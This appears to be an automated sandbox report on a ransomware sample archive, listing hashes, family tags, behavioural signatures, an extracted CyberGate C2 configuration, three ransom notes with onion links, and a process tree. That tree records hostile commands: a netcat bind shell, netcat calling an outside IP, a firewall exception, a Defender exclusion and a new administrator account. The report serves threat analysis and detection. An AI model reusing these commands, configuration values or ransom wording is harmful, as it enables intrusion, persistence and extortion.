Overview

overview

10

Static

static

1

RNSM00424.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    217s
  • max time network
    309s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-10-2024 16:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00424.7z

  • Size

    49.1MB

  • MD5

    336f8ae05e74a7e35bad8814d1c68b9c

  • SHA1

    582c5d7c2fb98d8dd2035a25971f2b45ecfb269a

  • SHA256

    9b85a4cc99fb037c9f4033d54fc9f857cc5a89a3da48b3deaf0697c02873b8f5

  • SHA512

    b5e7591c8a005c3e80e4b1a3157ebb707be3dfca023bb9b063d395fa7536345616fae2868ce837420c71fdf44145a03627c18f24b4a9ad40959cd6b6e8a7a202

  • SSDEEP

    786432:YGuBiJAIDNGSOYHmWR1ZcbH4cflRHRju4boIidRxVIm3TcxcAJncrA1sai7XzKZW:YGdJAr/WR1ZasxHxumDcGSc03mXWZXxw

Score
10/10
babukclopcybergategandcrabmodiloaderneshtastormkittytroldeshuserbackdoorcollectioncredential_accesscryptonedefense_evasiondiscoveryevasionexecutionimpactpackerpersistenceprivilege_escalationpyinstallerransomwarespywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

cybergate

Version

v1.07.5

Botnet

User

C2

frankrat.no-ip.org:1604

Mutex

3J717VQ3Q355I6

Attributes
  • enable_keylogger

    true

  • enable_message_box

    false

  • ftp_directory

    ./logs/

  • ftp_interval

    30

  • injected_process

    explorer.exe

  • install_flag

    false

  • keylogger_enable_ftp

    false

  • message_box_caption

    Remote Administration anywhere in the world.

  • message_box_title

    CyberGate

  • password

    frank123

Extracted

Path

F:\$RECYCLE.BIN\S-1-5-21-4089630652-1596403869-279772308-1000\DKHMRCDXTJ-MANUAL.txt

Family

gandcrab

Ransom Note
---= GANDCRAB V5.2 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE ARE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .DKHMRCDXTJ The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/11584738b93043c2 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- lAQAAH6PeAFvt1BRsSdKtwHxdgZ2uE7USFUV+1XskwAvT+gdGYg2N0QPPtND2m6Rx5DPb3bxtYPpO7E/lSlMpbxkm61Vshuke8e74mT2OoK1dN7h90M2RZeHJdVfCTHlwnYMtGZ3RZy/g3OgnSucQYfPpjrnc+b4aosLtDSrpPtRC2oGi8AqjXFtglt0k2DUGv0dTgE70gAyZxomSopHQ/uIUNfXq4sCcekO8u26MwoZJQUo2wIZQgLAZF9xVjsDMIeOaS5ok+plP3+N6Ho1OdOCZSjTClsmrNhwCP5/KOcZTTj97NOqaqlncxk/ntQh/AQyUZ6FdwieNZ9JCW2aTQlpsNB7I0dbgIM1ATVAEisv+2oOrE0FXx6ZaVztt2RZg/anz9Iluq8TK7yrFq+8GxW82Uj3iaNQ5ZKkIo6FH4FGWqfhHr7japm48ZqkHgyAVS9pfTO+k+XGJLmGICJaqlCJTb53HdTaN0YYkTJ2etWbb79Q8LTg/8q77ebBBdlpEKfOkGXn+L69GUln/Htit7DpNBbzKi8mvZTOS88UAKaCIgDQEhd2BP2b58go4Ln73uyBu/hvipfg+Au+viGqNSe59IQkIdy3ubT3G5ktxQz4L2+zZw17yA5DAD5rDUrxWF9fHyR0j76zFEeQWpROr5j3PE4RRtpGV+m3y0ceDqYBfLp7ZAt269Td4Tbv8bxFMoW7/kj+tI9JtuvVC+N+jXLjI7XvT/GS5TIbGxMmiCJ0CVprpKrk2GEUZLMX7LY7Gc22pJH2CGi+0rqH3Rs9dN5zdSwx0VALriswyTe+OeZmQ2qoOWxbKH8OxbC9oNGRSeVBoSO/kDA/2rLdFeqlFXepqL/wt6bEwDhQwUxr9KQJwP02FIJaeV6dqhflm5SmR3phgiPeODn0wXQrPVORJSm8uJqV+driNPPihQhIoADRnmpIp3US5Q5GJWSd9hnfi+8Nxo5DQ9B2XVuNIseCvcyI6ljhL7JM9CAGwF0KVCbAVNtSPZoPhW4jhrnNwfGtKzk3RfhLZr3C/egWmufNJOavDEWjiuEVlKBORf/8d0ntvkWLT7VxlIwG2meTTgliP3KVZv0H/8q1Q3O2kW9jyIMPH4C/Wxucy/2/TNzqAn9GJ0n7yVJvSPr8V9lGityA0BxpObCex/TKaXLb9xrfucKrJE768Jf59eNdAGIUT700agdnIAKuK9hMFUcoyq96dSO462T689c3cyXV8D1WzSqBskvP88pqlcxN4L/NNIiEjFQDPkNGU63UxM2jryYqHAdasrXh0UzBI5/JgqsZmGoD0ig6pjDvy6allLATDC3HYR4EZtufoDy1l0OL6vf7bhBNnik9Oj51yKquzrjpr091HawaxDCrXS+h1UPbjdqU3EtN9fiQjiGblXSuy8/zn6s0JoyB9+2Ie/ATRegcM1/jy5NLINsbwa2OKrC2tTU/b1eHL0GH4ocRQN4Whj7kYRZpjE0lnlZhJ82nR97Y2TdyALcG6icv5YI5txLW+wLxcSmQ5godd4qrFHHxFWdmockORe0XQZei9Ie7+9eANybb5SbDV9MZ/wU7lvow40tPl/SgGd5Z5bc2M9KbLldStWiXO/ZkZuj4int+Kx5/GPVFpPUCwpwLgL83oyXJG+oZJc83SNpCM1HfLfyyM+cmsyovPvbQrP0v7lVEX/+iERC1KAzKuHviqiXSb9x07hmuALGnUo3WFGwYk/GCVmzGwRCYvdViZ09ZL9H65U6HMPe7EWDLVqdoXfjR6ha/plOHobpgAdHTIEp68Iv7weQBHZRJNZ8ZOOe11vcQXRBrUKP2Fpd0retr7Q4BMzd8x8p+U3F6M+r2n95d0PTMK3ni3UXyGItwlZNYy4CpqQX+LofbVRSTglovtP18aGONxRZC8Sp7RgEMSpcN5ouGJu/qItII+oCyMeaRNM72OSueO13FZuJsgdYOnz2nLJGOUlbLWDPEEU0ucYJjz2/HUvULqEuGyz91iFiRAxi2TGrZiLZXqRBLwgVsmepK80AlLvuL3JqEu+VcsStUEFWcdQb3+CAhOqhYfsP4CnC9S9fWizOfp6wZQ1UET+aptgh8GbpJUfcye+iu3gVkNWOYKpTvCDuFwdH2bzpkGSNyr9Dmnvgew/BAuUjWgZwQtiG84SboETcLyo/PpvM+s+4Z+kwNeoZMNbdEM/AxS+X52gxGx3B2+2eF4QvAlRRVFzG3bIu5KWSua0Orf1WW1x3XfOXaIrCzW5Pjcc8= ---END GANDCRAB KEY--- ---BEGIN PC DATA--- 7ftDEgLb/ZS0lcmZbHM61KDJ6AOtD78KkA7absMgUXYxWLsC+5+UYF9xVmD59MXJNJDbAveVquDMRXjIKnQXQzua3LPyzokSUuglaqKXwabsGM4pXku5In6gtMQMqg7sgEh1XW1iPMFgiUj/s1LdWpJHdiPjMpn7rCZNO/A31mak0K8RefoREu3BxtlAsseHWfVIIKN0U4NnA3w0Ga7XDLlF3iOIB6ImYbF6Z/7MBN2mgBr2rZ2gU1R7jNx2WKAyu4W+5zlHFnKwMISBi1CwemOo6FrxnP+Z5F9bSR7OvDBsmLj7oYD6GBgpBqj3RSAVfvfE0yZSXyCRtLeJfNAMBiFqpsY6R+e3MrHEmYaRhUeDP9ny+PNmLOfjW6P0r1BW4eYoT03JrPa/L0B0wffnS0ez96BFoTHFq52HPDCx6yhEudvoPVoM6iaVy+mvqAdvYbwBrtoypS8O1fmlVjmQ7q94Buw5gT+wK0yub5gfz9wpLQCj3bimwDPi8jPeKPiggI2bWKz+7QkWvC2ihYFfEuZEsyM4ANvhxNQXIE31UkGbyf6MN51c1gY/++QTe24EznTbCqfrOdcnPBOVfcolLq8b8QmacCyV7bCGEZisVbSQnNiaPkJ9b5I041HXc2vSx6IODB3F1IH8qANwhkbcxMPGvnUSm+rK ---END PC DATA---
URLs

http://gandcrabmfe6mnef.onion/11584738b93043c2

Extracted

Path

C:\Recovery\WindowsRE\How To Restore Your Files.txt

Ransom Note
############## [ babyk ransomware ] ############## * What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted from your network and copied. We use strong encryption algorithms, so you cannot decrypt your data without us. But you can restore everything by purchasing a special program from us - a universal decoder. This program will restore your entire network. Follow our instructions below and you will recover all your data. If you continue to ignore this for a long time, we will start reporting the hack to mainstream media and posting your data to the dark web. * What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. * What information compromised? ---------------------------------------------- We copied many data from your internal network, here are some proofs (private link): http://gtmx56k4hutn3ikv.onion/blog/ff6b763849c49971c7ef8508064a3d8681529c7f45e532ff9e3d9ec13165263b/ For additional confirmations, please chat with us/ In cases of ignoring us, the information will be released to the public in blog http://gtmx56k4hutn3ikv.onion/ * How to contact us? ---------------------------------------------- 1) Download for browser: https://www.torproject.org/download/ 2) Open it 3) Follow this link in tor browser: http://babukq4e2p4wu4iq.onion/login.php?id=l6Kr29xLbfnq1f0jzES55LLmmrZPd8
URLs

http://gtmx56k4hutn3ikv.onion/blog/ff6b763849c49971c7ef8508064a3d8681529c7f45e532ff9e3d9ec13165263b/

http://gtmx56k4hutn3ikv.onion/

http://babukq4e2p4wu4iq.onion/login.php?id=l6Kr29xLbfnq1f0jzES55LLmmrZPd8

Extracted

Path

C:\HOW-TO-DECRYPT-jjj9b.txt

Ransom Note
[+] What happened? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has extension *.jjj9b By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant get back your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] Using a TOR browser! - Download and install TOR browser from this site: hxxps://torproject.org/ - Open our website: http://o76s3m7l5ogig4u5.onion - Follow the on-screen instructions Extension name: *.jjj9b ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) will make everything possible for restoring, but please do not interfere. !!! !!! !!! ��
URLs

http://o76s3m7l5ogig4u5.onion

Signatures

  • Babuk Locker

    RaaS first seen in 2021 initially called Vasa Locker.

    ransomwarebabuk
  • Babuk family
    babuk
  • Clop family
    clop
  • CyberGate, Rebhip

    CyberGate is a lightweight remote administration tool with a wide array of functionalities.

    trojanstealercybergate
  • Cybergate family
    cybergate
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • Gandcrab family
    gandcrab
  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

    trojanmodiloader
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies firewall policy service 3 TTPs 2 IoCs
    evasion
  • Modiloader family
    modiloader
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

    persistencespywareneshta
  • Neshta family
    neshta
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 3 IoCs
  • Stormkitty family
    stormkitty
  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Troldesh family
    troldesh
  • Troldesh, Shade, Encoder.858

    Troldesh is a ransomware spread by malspam.

    ransomwaretrojantroldesh
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • clop

    Ransomware discovered in early 2019 which has been actively developed since release.

    ransomwareclop
  • CryptOne packer 1 IoCs

    Detects CryptOne packer defined in NCC blogpost.

    cryptonepacker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • ModiLoader Second Stage 2 IoCs
  • Renames multiple (195) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (370) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 12 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 3 IoCs
  • Executes dropped EXE 60 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 29 IoCs
  • Modifies system executable filetype association 2 TTPs 1 IoCs
    persistence
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Uses the VBS compiler for execution 1 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 12 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 25 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 2 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Program crash 7 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 13 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Interacts with shadow copies 3 TTPs 4 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 52 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 22 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
      PID:812
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        2⤵
          PID:4600
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
          2⤵
          • Modifies registry class
          PID:2332
          • C:\Windows\system32\mspaint.exe
            "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\00424\Trojan-Ransom.bmp"
            3⤵
            • Suspicious use of SetWindowsHookEx
            PID:1616
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
          PID:3492
          • C:\Program Files\7-Zip\7zFM.exe
            "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00424.7z"
            2⤵
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:428
          • C:\Windows\system32\taskmgr.exe
            "C:\Windows\system32\taskmgr.exe" /4
            2⤵
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:4376
            • C:\Windows\system32\taskmgr.exe
              "C:\Windows\system32\taskmgr.exe" /1
              3⤵
              • Suspicious use of NtCreateProcessExOtherParentProcess
              • Enumerates connected drives
              • Checks SCSI registry key(s)
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of SetWindowsHookEx
              PID:3064
              • C:\Windows\system32\NOTEPAD.EXE
                "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\DKHMRCDXTJ-MANUAL.txt
                4⤵
                  PID:2872
                • C:\Windows\system32\NOTEPAD.EXE
                  "C:\Windows\system32\NOTEPAD.EXE" C:\RETURN FILES.txt
                  4⤵
                    PID:10120
                  • C:\Windows\system32\NOTEPAD.EXE
                    "C:\Windows\system32\NOTEPAD.EXE" C:\HOW-TO-DECRYPT-jjj9b.txt
                    4⤵
                      PID:7220
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2368
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2504
                    • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Blocker.gen-388a6625b398cbfbd4d915b8165b37ebba259fe9ef89a6bbef5ca9677b42ed52.exe
                      HEUR-Trojan-Ransom.MSIL.Blocker.gen-388a6625b398cbfbd4d915b8165b37ebba259fe9ef89a6bbef5ca9677b42ed52.exe
                      4⤵
                      • Executes dropped EXE
                      PID:1712
                    • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Gen.gen-886ed9d1806668c086ece3c4d433b9daced419d2fc8645d3c5db28a7b7878cd0.exe
                      HEUR-Trojan-Ransom.MSIL.Gen.gen-886ed9d1806668c086ece3c4d433b9daced419d2fc8645d3c5db28a7b7878cd0.exe
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:2184
                    • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Makop.gen-0ed05e4be5376f0cf391a78afc7a3114ffbfa064348fb66cd93e8ee6f6b27fe1.exe
                      HEUR-Trojan-Ransom.MSIL.Makop.gen-0ed05e4be5376f0cf391a78afc7a3114ffbfa064348fb66cd93e8ee6f6b27fe1.exe
                      4⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2156
                    • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe
                      HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1088
                      • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe
                        "C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe"
                        5⤵
                        • Executes dropped EXE
                        PID:7820
                      • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe
                        "C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Modifies system executable filetype association
                        • Drops file in Program Files directory
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        PID:5732
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                        "Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vlc.exe"'
                        5⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:8584
                    • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Petr.gen-164a86e099913008bebcd659331c1033c4afd97af2a15cca3a35765bca504be9.exe
                      HEUR-Trojan-Ransom.MSIL.Petr.gen-164a86e099913008bebcd659331c1033c4afd97af2a15cca3a35765bca504be9.exe
                      4⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:1484
                    • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Thanos.gen-68cfd9eeb25aebc7a65c5c72b8426edc88865ec13732374ba5dda877107bfe6a.exe
                      HEUR-Trojan-Ransom.MSIL.Thanos.gen-68cfd9eeb25aebc7a65c5c72b8426edc88865ec13732374ba5dda877107bfe6a.exe
                      4⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:1080
                    • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.Win32.KlopRansom.gen-ed3dfa9f2452537d378ead320e1506d392d3f91557d8c52714dfd6024176cf73.exe
                      HEUR-Trojan-Ransom.Win32.KlopRansom.gen-ed3dfa9f2452537d378ead320e1506d392d3f91557d8c52714dfd6024176cf73.exe
                      4⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:2520
                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.hgll-d9c7eea5b9b35d2bad184345fba2a717d75dcaab688a691066182530ffaf9c9f.exe
                      Trojan-Ransom.Win32.Blocker.hgll-d9c7eea5b9b35d2bad184345fba2a717d75dcaab688a691066182530ffaf9c9f.exe
                      4⤵
                      • Modifies firewall policy service
                      • UAC bypass
                      • Disables RegEdit via registry modification
                      • Drops file in Drivers directory
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • Checks whether UAC is enabled
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      • System policy modification
                      PID:3428
                      • C:\Users\Admin\AppData\Local\ncarchive.rar.exe
                        "C:\Users\Admin\AppData\Local\ncarchive.rar.exe" -dC:\Users\Admin\AppData\Local\ -ppassword -s
                        5⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:3200
                      • C:\Windows\SysWOW64\netsh.exe
                        "C:\Windows\system32\netsh.exe" firewall add allowedprogram C:\Users\Admin\AppData\Local\nc.exe RemoteSupport ENABLE
                        5⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:3300
                      • C:\Users\Admin\AppData\Local\nc.exe
                        "C:\Users\Admin\AppData\Local\nc.exe" -L -p 53 -e cmd.exe
                        5⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:4740
                      • C:\Users\Admin\AppData\Local\nc.exe
                        "C:\Users\Admin\AppData\Local\nc.exe" 150.70.162.115 80
                        5⤵
                        • Executes dropped EXE
                        PID:2976
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Net User dmatio dmatio /add
                        5⤵
                          PID:4368
                          • C:\Windows\SysWOW64\net.exe
                            Net User dmatio dmatio /add
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:7544
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 User dmatio dmatio /add
                              7⤵
                              • System Location Discovery: System Language Discovery
                              PID:8500
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Net Localgroup Administrators dmatio /add
                          5⤵
                          • System Location Discovery: System Language Discovery
                          PID:408
                          • C:\Windows\SysWOW64\net.exe
                            Net Localgroup Administrators dmatio /add
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:8776
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 Localgroup Administrators dmatio /add
                              7⤵
                              • System Location Discovery: System Language Discovery
                              PID:5192
                      • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.jklq-af2d6cbb88ec14080026c0c0ee24a28c4c90e8ea5979440ef85f4f007a730e7a.exe
                        Trojan-Ransom.Win32.Blocker.jklq-af2d6cbb88ec14080026c0c0ee24a28c4c90e8ea5979440ef85f4f007a730e7a.exe
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:440
                        • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.jklq-af2d6cbb88ec14080026c0c0ee24a28c4c90e8ea5979440ef85f4f007a730e7a.exe
                          "C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.jklq-af2d6cbb88ec14080026c0c0ee24a28c4c90e8ea5979440ef85f4f007a730e7a.exe"
                          5⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Suspicious use of SetThreadContext
                          • Suspicious use of WriteProcessMemory
                          PID:4972
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00424\tmp.bat" "
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:1704
                            • C:\Windows\SysWOW64\PING.EXE
                              ping -n 1 localhost
                              7⤵
                              • System Network Configuration Discovery: Internet Connection Discovery
                              • Runs ping.exe
                              PID:2896
                          • C:\Windows\SysWOW64\svchost.exe
                            "C:\Windows\system32\svchost.exe"
                            6⤵
                            • Adds Run key to start application
                            • Suspicious use of SetThreadContext
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4780
                            • C:\Windows\SysWOW64\svchost.exe
                              "C:\Windows\system32\svchost.exe" __OwningControllerProcess 4780
                              7⤵
                              • System Location Discovery: System Language Discovery
